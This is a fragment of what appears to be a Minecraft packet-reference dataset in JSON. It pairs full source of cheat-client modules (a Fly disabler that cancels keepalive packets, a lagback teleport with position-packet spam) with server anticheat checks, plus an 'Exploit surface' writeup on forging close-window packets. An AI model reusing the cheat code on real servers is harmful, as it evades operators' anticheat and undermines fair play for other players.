eventConsumer11 = (event) -> {\n        if (event.getPacket() instanceof C0FPacketConfirmTransaction) {\n            event.cancel();\n\n            timer.reset();\n        }\n        \n        if (event.getPacket() instanceof C00PacketKeepAlive) {\n            event.cancel();\n\n            timer.reset();\n        }\n    };\n\n    @Override\n    public void onEnable() {\nif(this.isMode(\"Damage\")) {\n    \tmc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,\n\t\t\t\tmc.thePlayer.posY + 3.05, mc.thePlayer.posZ, false));\n\t\tmc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,\n\t\t\t\tmc.thePlayer.posY, mc.thePlayer.posZ, false));\n\t\tmc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,\n\t\t\t\tmc.thePlayer.posY + 0.41999998688697815, mc.thePlayer.posZ, true));\n\t\tmc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.5, mc.thePlayer.posZ);\n\t\t}\n    }\n\n    @Override\n    public void onDisable() {\n\n    \tMovementUtils.setMoveSpeed(0);\n    \t\n    }\n}\n// NOTE (AI): The C0C sits directly before the C03(true) in the Damage mode loop. The same file cancels C00 keepalive and C0F transaction as collateral, so this is the full disabler-style packet diet inside a movement module.",
      "code_source": "Nekoware v1 private, me/nekoWare/client/module/movement/Fly.java",
      "vanilla_hook": "UpdateEvent pre phase.",
      "anti_cheat_notes": "Empty C0C is legitimate input; the flag surface is the vertical teleport sequence itself, not the input packet.",
      "variations": "None in the corpus for this pattern; Nekoware's Disabler also sends empty C0C in its Ghostly mode, and Memeware's Disabler covers the same ground."
     },
     {
      "name": "Tp",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Send a stop-input C0C (zero strafe/forward, jump and sneak true) after the lagback teleport sequence, pinning the server's input state during the move.",
      "how_it_works": "After the teleport packet burst (C0F(-1), C13 abilities, C04 y-offsets, fall-distance position spam, C03(true)), the module sends new C0CPacketInput(0.0F, 0.0F, true, true) via addToSendQueue, then walks a PathfindingUtils path to the target coordinates. The C0C with both flags set is the reset that stops the server applying stale vehicle/input state to the teleport.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, me/AquaVit/liquidSense/modules/world/Tp.java =====\npackage me.AquaVit.liquidSense.modules.world;\n\nimport net.ccbluex.liquidbounce.event.EventTarget;\nimport net.ccbluex.liquidbounce.event.MoveEvent;\nimport net.ccbluex.liquidbounce.event.PacketEvent;\nimport net.ccbluex.liquidbounce.event.TickEvent;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.utils.ClientUtils;\nimport net.ccbluex.liquidbounce.utils.CustomVec3;\nimport net.ccbluex.liquidbounce.utils.PathfindingUtils;\nimport net.minecraft.client.entity.EntityPlayerSP;\nimport net.minecraft.client.network.NetHandlerPlayClient;\nimport net.minecraft.entity.player.PlayerCapabilities;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C0CPacketInput;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.client.C13PacketPlayerAbilities;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\n\nimport static net.ccbluex.liquidbounce.utils.MovementUtils.getMaxFallDist;\n\n@ModuleInfo(name = \"Tp\",description = \"Allows you to teleport around.\", category = ModuleCategory.WORLD,array = false)\npublic class Tp extends Module {\n    public static float x;\n    public static float y;\n    public static float z;\n    boolean tp;\n\n    @Override\n    public void onEnable() {\n        if (mc.thePlayer == null)\n            return;\n        tp = false;\n        ClientUtils.displayChatMessage(\"Wait For Server LagBack\");\n        PlayerCapabilities playerCapabilities = new PlayerCapabilities();\n        playerCapabilities.isFlying = true;\n        mc.getNetHandler().addToSendQueue(new C0FPacketConfirmTransaction(0, (short)(-1), false));\n        mc.getNetHandler().addToSendQueue(new C13PacketPlayerAbilities(playerCapabilities));\n        mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,\n                mc.thePlayer.posY + 0.17, mc.thePlayer.posZ, true));\n        mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,\n                mc.thePlayer.posY + 0.06, mc.thePlayer.posZ, true));\n        mc.thePlayer.stepHeight = 0.0f;\n        mc.thePlayer.motionX = 0.0;\n        mc.thePlayer.motionZ = 0.0;\n    }\n\n    @Override\n    public void onDisable() {\n        mc.timer.timerSpeed = 1.0f;\n        mc.thePlayer.stepHeight = 0.625f;\n        mc.thePlayer.motionX = 0.0;\n        mc.thePlayer.motionZ = 0.0;\n    }\n\n    @EventTarget\n    public void onTick(TickEvent event) {\n        if (tp) {\n            double offset = 0.060100000351667404;\n            NetHandlerPlayClient netHandler = mc.getNetHandler();\n            EntityPlayerSP player = mc.thePlayer;\n            double x2 = player.posX;\n            double y2 = player.posY;\n            double z2 = player.posZ;\n            int i = 0;\n            while (i < getMaxFallDist() / 0.05510000046342611 + 1.0) {\n                netHandler.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x2, y2 + 0.060100000351667404, z2, false));\n                netHandler.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x2, y2 + 5.000000237487257E-4, z2, false));\n                netHandler.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x2, y2 + 0.004999999888241291 + 6.01000003516674E-8, z2, false));\n                ++i;\n            }\n            netHandler.addToSendQueue(new C03PacketPlayer(true));\n            mc.getNetHandler().addToSendQueue(new C0CPacketInput(0.0f, 0.0f, true, true));\n            double lastY = mc.thePlayer.posY, downY = 0;\n            for (CustomVec3 vec3 : PathfindingUtils.computePath(\n                    new CustomVec3(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ),\n                    new CustomVec3(x, y, z))) {\n                if (vec3.getY() < lastY) {\n                    downY += (lastY - vec3.getY());\n                }\n                if (downY > 2.5) {\n                    downY = 0;\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(vec3.getX(),\n                            vec3.getY(), vec3.getZ(), true));\n                } else {\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(vec3.getX(),\n                            vec3.getY(), vec3.getZ(), false));\n                }\n                lastY = vec3.getY();\n            }\n            //Teleported\n            mc.thePlayer.setPosition(x, y, z);\n            this.setState(false);\n        }\n    }\n\n\n    @EventTarget\n    public void onMove(MoveEvent e) {\n        if (!tp) {\n            e.cancelEvent();\n        }\n    }\n    @EventTarget\n    public final void onSendPacket(PacketEvent event) {\n        if (!tp && event.getPacket() instanceof C03PacketPlayer) {\n            event.cancelEvent();\n        }\n        if (event.getPacket() instanceof S08PacketPlayerPosLook) {\n            if (!this.tp) {\n                this.tp = true;\n                ClientUtils.displayChatMessage(\"Start TelePort\");\n            }\n        }\n    }\n}\n// NOTE (AI): The C0C send is line 75, between the C03(true) reset and the path walk; the rest is the lagback-teleport machinery.",
      "code_source": "LiquidSense Dev, me/AquaVit/liquidSense/modules/world/Tp.java",
      "vanilla_hook": "TickEvent after S08 detection; send via mc.getNetHandler().addToSendQueue.",
      "anti_cheat_notes": "The jump+sneak C0C flags alongside teleport C03s can read as input desync to vehicle checks, but with no vehicle mounted the server applies it to nothing, so the risk is the position spam, not the C0C.",
      "variations": "Nekoware's Fly Damage mode sends an empty C0C for a similar reset; LiquidSense's sends it with both flags true instead of the default constructor."
     },
     {
      "name": "LuaEventPacket",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Expose C0C to November's Lua scripting API as id 0x0C with direction, for scripted input injection.",
      "how_it_works": "packetIds maps C0CPacketInput.class to 0x0C; the wrapper stores the numeric id and 'out' direction from the EventPacket.",
      "detailed_code": "// ===== FILE: November Recode 2.0, scripting/wrapper/event/LuaEventPacket.java =====\n/* November.lol © 2023 */\npackage lol.november.scripting.wrapper.event;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport lol.november.listener.event.net.EventPacket;\nimport lol.november.protect.DontObfuscate;\nimport lombok.Getter;\nimport lombok.Setter;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\n@Getter\n@Setter\n@DontObfuscate\npublic class LuaEventPacket {\n\n  /**\n   * A map of each {@link Packet} to their id\n   */\n  private static final Map<Class<? extends Packet<?>>, Integer> packetIds =\n    new HashMap<>();\n\n  static {\n    // you may ask: why not use reflection and just.. do a funny?\n    // obfuscation eventually happens so this aids has to happen\n\n    packetIds.put(C0APacketAnimation.class, 0x0A);\n    packetIds.put(C0BPacketEntityAction.class, 0x0B);\n    packetIds.put(C0CPacketInput.class, 0x0C);\n    packetIds.put(C0DPacketCloseWindow.class, 0x0D);\n    packetIds.put(C0EPacketClickWindow.class, 0x0E);\n    packetIds.put(C0FPacketConfirmTransaction.class, 0x0F);\n    packetIds.put(C00PacketKeepAlive.class, 0x00);\n    packetIds.put(C01PacketChatMessage.class, 0x01);\n    packetIds.put(C02PacketUseEntity.class, 0x02);\n    packetIds.put(C03PacketPlayer.class, 0x03);\n    packetIds.put(C03PacketPlayer.C04PacketPlayerPosition.class, 0x04);\n    packetIds.put(C03PacketPlayer.C05PacketPlayerLook.class, 0x05);\n    packetIds.put(C03PacketPlayer.C06PacketPlayerPosLook.class, 0x06);\n    packetIds.put(C07PacketPlayerDigging.class, 0x07);\n    packetIds.put(C08PacketPlayerBlockPlacement.class, 0x08);\n    packetIds.put(C09PacketHeldItemChange.class, 0x09);\n    packetIds.put(C10PacketCreativeInventoryAction.class, 0x10);\n    packetIds.put(C11PacketEnchantItem.class, 0x11);\n    packetIds.put(C12PacketUpdateSign.class, 0x12);\n    packetIds.put(C13PacketPlayerAbilities.class, 0x13);\n    packetIds.put(C14PacketTabComplete.class, 0x14);\n    packetIds.put(C15PacketClientSettings.class, 0x15);\n    packetIds.put(C16PacketClientStatus.class, 0x16);\n    packetIds.put(C17PacketCustomPayload.class, 0x17);\n    packetIds.put(C18PacketSpectate.class, 0x18);\n    packetIds.put(C19PacketResourcePackStatus.class, 0x19);\n  }\n\n  private final int packet;\n  private final String direction;\n\n  public LuaEventPacket(EventPacket event) {\n    packet = packetIds.getOrDefault(event.get().getClass(), -1);\n    direction = event.get() instanceof EventPacket.Out ? \"out\" : \"in\";\n  }\n}\n// NOTE (AI): C0C is registered as 0x0C in the serverbound id table.",
      "code_source": "November Recode 2.0, scripting/wrapper/event/LuaEventPacket.java",
      "vanilla_hook": "EventPacket.Out through the scripting bridge.",
      "anti_cheat_notes": "None; read-only mapping.",
      "variations": ""
     }
    ],
    "general_hooks": "PacketSendEvent / EventSendPacket for cancels, UpdateEvent and packet events for injection. Rise 6.x also references C0C inside PingSpoofComponent's blink class list and PacketAPI's script-facing sendInput helper. LiquidSense Dev sends C0C from a TickEvent in Tp; November Recode 2.0 exposes 0x0C to scripts via LuaEventPacket.",
    "client_variations": "Memeware and Nekoware inject through PacketUtil.sendPacketSilent or addToSendQueue; Rise 5.99 uses PacketUtil.sendPacketWithoutEvent; Rise 6.x uses PacketUtil.send and sendNoEvent; Spicy cancels via event.setCanceled(true). Tenacity's AdvancedDisablerModule references C0C only in commented-out code, and its PacketUtil counts C0C among packet types that bypass the send queue. LiquidSense Dev's Tp uses the four-arg constructor with both flags true; November Recode 2.0's LuaEventPacket also carries the C0C id but only for scripting.",
    "related": [
     "C03PacketPlayer",
     "C0BPacketEntityAction",
     "S0EPacketSpawnObject"
    ],
    "anticheat": {
     "overview": "The input packet, also called steer vehicle, is sent every tick while riding a boat or horse, carrying forward and sideways axes plus the jump and unmount flags. It is the only stream that tells the server what the rider wants to do, so vehicle movement checks pair it with the vehicle move packet: impossible axis values, steering while not in a vehicle, and input that does not match the predicted vehicle motion are all C0C signatures. Boat fly and boat speed cheats are detected by comparing the claimed input against the vehicle's actual motion.",
     "checks": [
      {
       "name": "VehicleA (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Cancels steer vehicle packets whose forward or sideways axes exceed the physically possible range.",
       "how_it_works": "PreViaPacketReceiveListener on STEER_VEHICLE: decodes WrapperPlayClientSteerVehicle and, if the absolute forward or sideways value is above 0.98, flags with both values in the verbose, cancels the packet and runs onPacketCancel. The 0.98 bound matches the vanilla input clamp.",
       "detects": "Modified clients that send boosted input axes to move vehicles faster, and input spoofing modules.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/vehicle/VehicleA.java =====\npackage ac.grim.grimac.checks.impl.vehicle;\n\nimport ac.grim.grimac.api.storage.verbose.Verbose;\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.CheckData;\nimport ac.grim.grimac.checks.type.PreViaPacketReceiveListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientSteerVehicle;\n\n@CheckData(name = \"VehicleA\", stableKey = \"grim.vehicle.impossible_input\", description = \"Impossible input values\")\npublic class VehicleA extends Check implements PreViaPacketReceiveListener {\n    private static final Verbose V = Verbose.of(\"forwards={f32}, sideways={f32}\");\n\n    public VehicleA(GrimPlayer player) {\n        super(player);\n    }\n\n    @Override\n    public void onPreViaPacketReceive(final PacketReceiveEvent event) {\n        if (event.getPacketType() == PacketType.Play.Client.STEER_VEHICLE) {\n            final WrapperPlayClientSteerVehicle packet = new WrapperPlayClientSteerVehicle(event);\n\n            if (Math.abs(packet.getForward()) > 0.98f || Math.abs(packet.getSideways()) > 0.98f) {\n                if (flag(V.write(verbose()).f32(packet.getForward()).f32(packet.getSideways())) && shouldModifyPackets()) {\n                    event.setCancelled(true);\n                    player.onPacketCancel();\n                }\n            }\n        }\n    }\n}\n\n// NOTE (AI): The companion VehicleB check in the same anticheat cancels steer packets sent while the player is not in a vehicle, and VehicleC pairs the input with predicted vehicle control.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/vehicle/VehicleA.java",
       "variations": "VehicleB (same anticheat) cancels steer packets sent while the player is not in a vehicle; NCP routes the packet into its vehicle checks through InputsAdapter."
      },
      {
       "name": "InputsAdapter (NoCheatPlus)",
       "found_in": [
        "Updated-NoCheatPlus-NoCheatPlus"
       ],
       "purpose": "Feeds the steer vehicle packet into NCP's vehicle movement checks as an input queue.",
       "how_it_works": "BaseAdapter listening at MONITOR priority on STEER_VEHICLE. It skips temporary players, resolves the IPlayerData and NetData, and wraps the raw Input object with an AutoWrapper into DataPacketInput, then pushes it onto the input queue. NCP's vehicle checks consume the queue to validate the rider's claimed input against the vehicle move. The javadoc notes the packet is named Player_Input in the modern protocol but ProtocolLib keeps the legacy name.",
       "detects": "Feeds the input data used by VehicleChecks, VehicleEnvelope and VehicleMorePackets to flag boat fly and vehicle speed cheats.",
       "detailed_code": "// ===== FILE: Updated-NoCheatPlus-NoCheatPlus, NCPCompatProtocolLib/src/main/java/fr/neatmonster/nocheatplus/checks/net/protocollib/InputsAdapter.java =====\n/*\n * This program is free software: you can redistribute it and/or modify\n *   it under the terms of the GNU General Public License as published by\n *   the Free Software Foundation, either version 3 of the License, or\n *   (at your option) any later version.\n *\n *   This program is distributed in the hope that it will be useful,\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *   GNU General Public License for more details.\n *\n *   You should have received a copy of the GNU General Public License\n *   along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\npackage fr.neatmonster.nocheatplus.checks.net.protocollib;\n\nimport java.util.Arrays;\nimport java.util.LinkedList;\nimport java.util.List;\n\nimport org.bukkit.entity.Player;\nimport org.bukkit.plugin.Plugin;\n\nimport com.comphenix.protocol.PacketType;\nimport com.comphenix.protocol.events.ListenerPriority;\nimport com.comphenix.protocol.events.PacketContainer;\nimport com.comphenix.protocol.events.PacketEvent;\nimport com.comphenix.protocol.reflect.StructureModifier;\nimport com.comphenix.protocol.wrappers.AutoWrapper;\n\nimport fr.neatmonster.nocheatplus.checks.net.NetData;\nimport fr.neatmonster.nocheatplus.checks.net.model.DataPacketInput;\nimport fr.neatmonster.nocheatplus.players.DataManager;\nimport fr.neatmonster.nocheatplus.players.IPlayerData;\n\n/**\n * Listen to the Steer_vehicle packet for extrapolating input information sent by the player (1.21.2+)\n * The packet is actually named \"Player_Input\" in the Minecraft protocol, but ProtocolLib uses the former name for compatibility.\n */\npublic class InputsAdapter extends BaseAdapter {\n    \n    private static AutoWrapper<DataPacketInput> INPUT_WRAPPER; \n    \n    private static PacketType[] initPacketTypes() {\n        final List<PacketType> types = new LinkedList<PacketType>(Arrays.asList(PacketType.Play.Client.STEER_VEHICLE));\n        return types.toArray(new PacketType[types.size()]);\n    }\n    \n    public InputsAdapter(Plugin plugin) {\n        super(plugin, ListenerPriority.MONITOR, initPacketTypes());\n    }\n    \n    @Override\n    public void onPacketReceiving(final PacketEvent event) {\n        handleInputPacket(event);\n    }\n    \n    private void handleInputPacket(PacketEvent event) {\n        try {\n            if (event.isPlayerTemporary()) return;\n        }\n        catch (NoSuchMethodError e) {\n            if (event.getPlayer() == null) {\n                counters.add(ProtocolLibComponent.idNullPlayer, 1);\n                return;\n            }\n            if (DataManager.getPlayerDataSafe(event.getPlayer()) == null) {\n                return;\n            }\n        }\n        final Player player = event.getPlayer();\n        final PacketContainer packet = event.getPacket();\n        final IPlayerData pData = DataManager.getPlayerData(player);\n        final NetData data = pData.getGenericInstance(NetData.class);\n        // Instead of a primitive, we're being handed the full Input object from Mojang’s code. \n        StructureModifier<Object> objs = packet.getModifier().withType(Object.class);\n        Object raw = objs.read(0);\n        if (INPUT_WRAPPER == null) {\n            INPUT_WRAPPER = AutoWrapper.wrap(DataPacketInput.class, raw.getClass());\n        }\n        final DataPacketInput in = INPUT_WRAPPER.wrap(raw);\n        data.addInputQueue(in);\n    }\n}\n\n// NOTE (AI): This adapter exists because the modern Input object no longer maps to simple packet fields, so NCP wraps the raw object with an AutoWrapper.",
       "code_source": "Updated-NoCheatPlus-NoCheatPlus, NCPCompatProtocolLib/src/main/java/fr/neatmonster/nocheatplus/checks/net/protocollib/InputsAdapter.java",
       "variations": "Grim reads the steer packet directly in VehicleA and VehicleB; Intave SteerVehicleReader exposes the jump flag; BetterAnticheat RepeatedSteerCheck uses the packet rhythm instead."
      },
      {
       "name": "BoatFlyCheck (CheaterDeleter)",
       "found_in": [
        "CoolMineman-CheaterDeleter"
       ],
       "purpose": "Flags boats that rise without the rider providing the motion, the boat fly signature.",
       "how_it_works": "VehicleMoveListener combining the player input packet with consecutive vehicle move packets. If the vehicle has no step height, the y delta is positive, and the vehicle's own velocity is not positive, it flags Boat Fly with the delta and velocity, then punishes by grounding the boat. Piston pushes and liquid contact within the last second are exempt.",
       "detects": "Boat fly cheats that lift the boat without server-side motion to explain it.",
       "detailed_code": "// ===== FILE: CoolMineman-CheaterDeleter, src/main/java/io/github/coolmineman/cheaterdeleter/modules/movement/entity/BoatFlyCheck.java =====\npackage io.github.coolmineman.cheaterdeleter.modules.movement.entity;\n\nimport org.jetbrains.annotations.Nullable;\n\nimport io.github.coolmineman.cheaterdeleter.events.VehicleMoveListener;\nimport io.github.coolmineman.cheaterdeleter.modules.CDModule;\nimport io.github.coolmineman.cheaterdeleter.objects.PlayerMoveC2SPacketView;\nimport io.github.coolmineman.cheaterdeleter.objects.entity.CDEntity;\nimport io.github.coolmineman.cheaterdeleter.objects.entity.CDPlayer;\nimport io.github.coolmineman.cheaterdeleter.util.BlockCollisionUtil;\nimport io.github.coolmineman.cheaterdeleter.util.PunishUtil;\nimport net.minecraft.network.packet.c2s.play.PlayerInputC2SPacket;\nimport net.minecraft.network.packet.c2s.play.VehicleMoveC2SPacket;\nimport net.minecraft.util.math.Box;\n\npublic class BoatFlyCheck extends CDModule implements VehicleMoveListener {\n    public BoatFlyCheck() {\n        super(\"boat_fly_check\");\n        VehicleMoveListener.EVENT.register(this);\n    }\n\n    @Override\n    public long getFlagCoolDownMs() {\n        return 100;\n    }\n\n    @Override\n    public void onVehicleMove(CDPlayer player, CDEntity vehicle, PlayerMoveC2SPacketView playerLook, PlayerInputC2SPacket playerInput, VehicleMoveC2SPacket vehicleMoveC2SPacket, @Nullable VehicleMoveC2SPacket lastVehicleMoveC2SPacket) {\n        if (!enabledFor(player)) return;\n        if (vehicle != null && lastVehicleMoveC2SPacket != null) {\n            double ydelta = vehicleMoveC2SPacket.getY() - lastVehicleMoveC2SPacket.getY() - 0.001;\n            Box box = vehicle.getBoxForPosition(vehicleMoveC2SPacket.getX(), vehicleMoveC2SPacket.getY(), vehicleMoveC2SPacket.getZ());\n            if (vehicle.getStepHeight() == 0 && ydelta > 0 && vehicle.getVelocity().getY() <= 0) {\n                if (assertOrFlag(player.getWorld().getTime() - vehicle.getPistonMovementTick() < 1000 || BlockCollisionUtil.isTouching(box, player.getWorld(), BlockCollisionUtil.LIQUID), player, FlagSeverity.MAJOR, \"Boat Fly \" + ydelta + \" \" + vehicle.getVelocity().getY()))\n                    PunishUtil.groundBoat(player, vehicle);\n            }\n        }\n\n    }\n    \n}\n\n// NOTE (AI): CheaterDeleter receives the input packet as PlayerInputC2SPacket inside the vehicle move event, so the check reads both streams at once.",
       "code_source": "CoolMineman-CheaterDeleter, src/main/java/io/github/coolmineman/cheaterdeleter/modules/movement/entity/BoatFlyCheck.java",
       "variations": "Grim VehicleC and VehiclePredictionRunner compare the steer input against predicted vehicle motion; NCP VehicleEnvelope runs the same idea with an envelope model; Rammelkast AntiCheatReloaded BoatFlyCheck and MC-Jinky BoatCheck are the same pattern on older bases."
      },
      {
       "name": "RepeatedSteerCheck (BetterAnticheat)",
       "found_in": [
        "amnoah-BetterAnticheat"
       ],
       "purpose": "Flags artificial vehicle move streams that omit the rotation packet a real client sends between vehicle moves.",
       "how_it_works": "Tracks a lastRotating flag: any flying packet with a rotation change sets it true; a VEHICLE_MOVE packet consumes it and sets it false. A vehicle move with lastRotating false fails the check, because the vanilla client always interleaves a rotation packet between vehicle move packets.",
       "detects": "Vehicle move spoofers and boat fly modules that generate only vehicle move packets.",
       "detailed_code": "// ===== FILE: amnoah-BetterAnticheat, core/src/main/java/better/anticheat/core/check/impl/flying/RepeatedSteerCheck.java =====\npackage better.anticheat.core.check.impl.flying;\n\nimport better.anticheat.core.BetterAnticheat;\nimport better.anticheat.core.check.Check;\nimport better.anticheat.core.check.CheckInfo;\nimport better.anticheat.core.player.Player;\nimport com.github.retrooper.packetevents.event.simple.PacketPlayReceiveEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPlayerFlying;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientVehicleMove;\n\n/**\n * This check looks for artificial vehicle movement packets.\n */\n@CheckInfo(name = \"RepeatedSteer\", category = \"flying\")\npublic class RepeatedSteerCheck extends Check {\n\n    private boolean lastRotating = true;\n\n    public RepeatedSteerCheck(BetterAnticheat plugin, Player player) {\n        super(plugin, player);\n    }\n\n    @Override\n    public void handleReceivePlayPacket(PacketPlayReceiveEvent event) {\n\n        /*\n         * This check works by the fact that between every two Vehicle Move packets the client sends a rotation. I'm\n         * not exactly sure why this is since the Vehicle Move packets already includes rotation information, but that\n         * works for us anyway!\n         */\n\n        if (WrapperPlayClientPlayerFlying.isFlying(event.getPacketType())) {\n            WrapperPlayClientPlayerFlying wrapper = new WrapperPlayClientPlayerFlying(event);\n            if (wrapper.hasRotationChanged()) lastRotating = true;\n        } else if (event.getPacketType() == PacketType.Play.Client.VEHICLE_MOVE) {\n            if (!lastRotating) fail();\n\n            lastRotating = false;\n        }\n    }\n}\n\n// NOTE (AI): The check reads the vehicle move stream and the flying rotation stream together; the comment admits the rotation interleave is an observed client quirk rather than documented behavior.",
       "code_source": "amnoah-BetterAnticheat, core/src/main/java/better/anticheat/core/check/impl/flying/RepeatedSteerCheck.java",
       "variations": "CheaterDeleter BoatFlyCheck inspects y motion, Grim VehicleA checks the input axes, and NCP validates the full move envelope."
      },
      {
       "name": "SteerVehicleReader (Intave)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "Reads the jump flag from the steer vehicle packet so the movement simulator knows when the rider wants to jump.",
       "how_it_works": "AbstractPacketReader that reads the first boolean of the steer vehicle packet as isJumping. It is consumed by the vehicle simulation branch, the boat simulator and the keypress brancher, to predict the vehicle's motion from the rider's input.",
       "detects": "Feeds the input state used by Intave's boat and vehicle physics simulation to catch vehicle fly and speed cheats.",
       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/packet/reader/SteerVehicleReader.java =====\n/*\n * Copyright 2026 Intave\n *\n * This software is licensed under the PolyForm Perimeter License 1.0.0.\n * You may use this software for any purpose, except for providing to\n * others any product that competes with the software.\n *\n * A copy of the license is available at:\n *   https://polyformproject.org/licenses/perimeter/1.0.0/\n */\n\npackage de.jpx3.intave.packet.reader;\n\npublic final class SteerVehicleReader extends AbstractPacketReader {\n  public boolean isJumping() {\n    return Boolean.TRUE.equals(packet().getBooleans().readSafely(0));\n  }\n}\n\n// NOTE (AI): The reader is minimal because the simulator consumes it; the boat physics live in BoatSimulator and the base simulator classes.",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/packet/reader/SteerVehicleReader.java",
       "variations": "Grim VehicleA and VehicleB validate the raw axes and vehicle state; NCP InputsAdapter queues the full input object; BetterAnticheat RepeatedSteerCheck checks packet rhythm."
      }
     ]
    }
   },
   "wiki_notes": [
    "Two floats strafe/forward plus jump and sneak packed into one flag byte (bit0 jump, bit1 sneak).",
    "Sent every tick while ridingEntity is set, even all zeros; default ctor is 0,0,false,false.",
    "Server forwards values unclamped into setEntityActionState with no check that riding is active.",
    "MCP 1.8.9 C0CPacketInput implements Packet<INetHandlerPlayServer> dispatching to INetHandlerPlayServer.processInput; wire serde is readPacketData/writePacketData via readByte, readFloat.",
    "1.8.9 callers: EntityPlayerSP.onUpdate sends new C0CPacketInput (line 177): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/entity/EntityPlayerSP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/C0CPacketInput/",
   "mcp_path": "net/minecraft/network/play/client/C0CPacketInput.java",
   "group": "play-server",
   "logic_classes": [
    "EntityPlayerSP"
   ]
  },
  {
   "id": "C0DPacketCloseWindow",
   "hex": "0x0D",
   "dec": 13,
   "dir": "SERVERBOUND",
   "state": "PLAY",
   "name": "Close Window",
   "desc": "Player closes an inventory window (chest, crafting table, furnace, etc).",
   "tags": [
    "player",
    "inventory",
    "container"
   ],
   "fields": [
    {
     "name": "windowId",
     "type": "byte",
     "desc": "Window ID of the container being closed"
    }
   ],
   "encoding": [
    [
     "Window ID",
     "unsigned byte",
     "Server-assigned window ID from S2DPacketOpenWindow"
    ]
   ],
   "mcp": [
    "NetHandlerPlayServer.processCloseWindow()"
   ],
   "handler": "INetHandlerPlayServer",
   "notes": "Rise 6.0 CancelInventoryMove cancels C0D to keep the inventory 'open' and allow WASD movement. RektSky B5 ChestStealer sends C0D after stealing. Jigsaw 0.26 InventoryPlus cancels C0D. Sigma 4.11 InventoryWalk cancels C0D.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "Closes an inventory window. One unsigned byte windowId, where 0 is the player inventory. The vanilla client sends it from EntityPlayerSP.closeScreen() with the currently open container's id; the server calls closeContainer(), which drops or returns the carried item and switches the player back to the inventory container. It is the bookend to S2DPacketOpenWindow and pairs with the C0EPacketClickWindow clicks that mutate the container."
     },
     {
      "h": "Vanilla handling",
      "p": "processCloseWindow calls this.playerEntity.closeContainer() unconditionally: the server does not verify the windowId against the player's open container. That makes C0D(0) and C0D(inventoryContainer.windowId) interchangeable in module code, and a C0D with a stale id still closes whatever container is open. The client side is EntityPlayerSP.closeScreen(), which also fires when the GUI closes for any other reason."
     },
     {
      "h": "Why clients touch it",
      "p": "Inventory-movement modules cancel C0D so the server-side window stays open while the player walks (Rise 5.99 InvMove, Rise 6.x CancelInventoryMove, Sigma InventoryWalk). Sort and steal managers send C0D(0) to force the server-side close after a batch of clicks (Rise 5.99 InvManager, Rise 6.x Manager, Spicy InventoryManager). Tenacity NoSlowModule sends C0D(0) plus a shift-click C0E to ghost-swap the held item while eating. Rise 6.x WatchdogDisabler emits C0D through sendUnregisteredPacket during its blink window."
     },
     {
      "h": "Exploit surface",
      "p": "Cancelling C0D while moving leaves the server convinced the inventory is open; servers and anti-cheats that tie container state to movement flag this. Sending C0D(0) at the wrong moment desyncs the container: clicks after the close are answered with S2FPacketSetSlot updates for a closed window. The NoSlow trick exploits the fact that a close plus a click on window 0 re-syncs the server's view of the held slot without cancelling the item use."
     }
    ],
    "overview": "The window-close packet. Inventory move modules cancel it to keep the server-side window open while walking, managers and stealers send C0D(0) to force-close after click batches, NoSlowModule pairs it with a click to ghost-swap items, and WatchdogDisabler fires it through the unregistered send path during blink.",
